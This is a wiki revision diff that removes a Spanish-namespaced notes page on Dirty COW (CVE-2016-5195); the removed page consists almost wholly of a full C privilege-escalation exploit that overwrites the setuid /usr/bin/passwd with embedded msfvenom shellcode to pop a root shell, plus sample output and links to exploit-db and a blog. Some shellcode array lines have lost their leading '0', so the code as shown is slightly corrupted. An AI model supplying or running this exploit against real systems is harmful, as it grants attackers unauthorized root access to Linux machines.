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--- notas:seguridad:exploits:dirty_cow [2016/11/03 20:05] – creado cayu
+++ notas:seguridad:exploits:dirty_cow [Fecha desconocida] (actual) – borrado - editor externo (Fecha desconocida) 127.0.0.1
@@ Línea 1: / Línea 1: @@
-====== Dirty COW ======
-**CVE-2016-5195** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
-<code c>
-/*
-* (un)comment correct payload first (x86 or x64)!
-*
-* $ gcc cowroot.c -o cowroot -pthread
-* $ ./cowroot
-* DirtyCow root privilege escalation
-* Backing up /usr/bin/passwd.. to /tmp/bak
-* Size of binary: 57048
-* Racing, this may take a while..
-* /usr/bin/passwd is overwritten
-* Popping root shell.
-* Don't forget to restore /tmp/bak
-* thread stopped
-* thread stopped
-* root@box:/root/cow# id
-* uid=0(root) gid=1000(foo) groups=1000(foo)
-*/
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <string.h>
-#include <unistd.h>
-void *map;
-int f;
-int stop = 0;
-struct stat st;
-char *name;
-pthread_t pth1,pth2,pth3;
-// change if no permissions to read
-char suid_binary[] = "/usr/bin/passwd";
-/*
-* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
-*/
-unsigned char sc[] = {
-x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
-x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
-x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
-xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
-x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
-x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
-x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
-x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
-};
-unsigned int sc_len = 177;
-/*
-* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
-unsigned char sc[] = {
-x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
-x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
-x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
-xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
-x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
-x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
-x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
-x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
-x89, 0xe1, 0xcd, 0x80
-};
-unsigned int sc_len = 136;
-*/
-void *madviseThread(void *arg)
-{
-    char *str;
-    str=(char*)arg;
-    int i,c=0;
-    for(i=0;i<1000000 && !stop;i++) {
-        c+=madvise(map,100,MADV_DONTNEED);
-    }
-    printf("thread stopped\n");
-}
-void *procselfmemThread(void *arg)
-{
-    char *str;
-    str=(char*)arg;
-    int f=open("/proc/self/mem",O_RDWR);
-    int i,c=0;
-    for(i=0;i<1000000 && !stop;i++) {
-        lseek(f,map,SEEK_SET);
-        c+=write(f, str, sc_len);
-    }
-    printf("thread stopped\n");
-}
-void *waitForWrite(void *arg) {
-    char buf[sc_len];
-    for(;;) {
-        FILE *fp = fopen(suid_binary, "rb");
-        fread(buf, sc_len, 1, fp);
-        if(memcmp(buf, sc, sc_len) == 0) {
-            printf("%s is overwritten\n", suid_binary);
-            break;
-        }
-        fclose(fp);
-        sleep(1);
-    }
-    stop = 1;
-    printf("Popping root shell.\n");
-    printf("Don't forget to restore /tmp/bak\n");
-    system(suid_binary);
-}
-int main(int argc,char *argv[]) {
-    char *backup;
-    printf("DirtyCow root privilege escalation\n");
-    printf("Backing up %s.. to /tmp/bak\n", suid_binary);
-    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
-    system(backup);
-    f = open(suid_binary,O_RDONLY);
-    fstat(f,&st);
-    printf("Size of binary: %d\n", st.st_size);
-    char payload[st.st_size];
-    memset(payload, 0x90, st.st_size);
-    memcpy(payload, sc, sc_len+1);
-    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
-    printf("Racing, this may take a while..\n");
-    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
-    pthread_create(&pth2, NULL, &procselfmemThread, payload);
-    pthread_create(&pth3, NULL, &waitForWrite, NULL);
-    pthread_join(pth3, NULL);
-    return 0;
-}
-</code>
-  * https://www.exploit-db.com/exploits/40616/
-  * https://www.youtube.com/watch?v=_-LXi9Isxb8
-  * http://www.elladodelmal.com/2016/10/como-convertirse-en-root-en-un-gnulinux.html
-  * https://es.wikipedia.org/wiki/Copy-on-write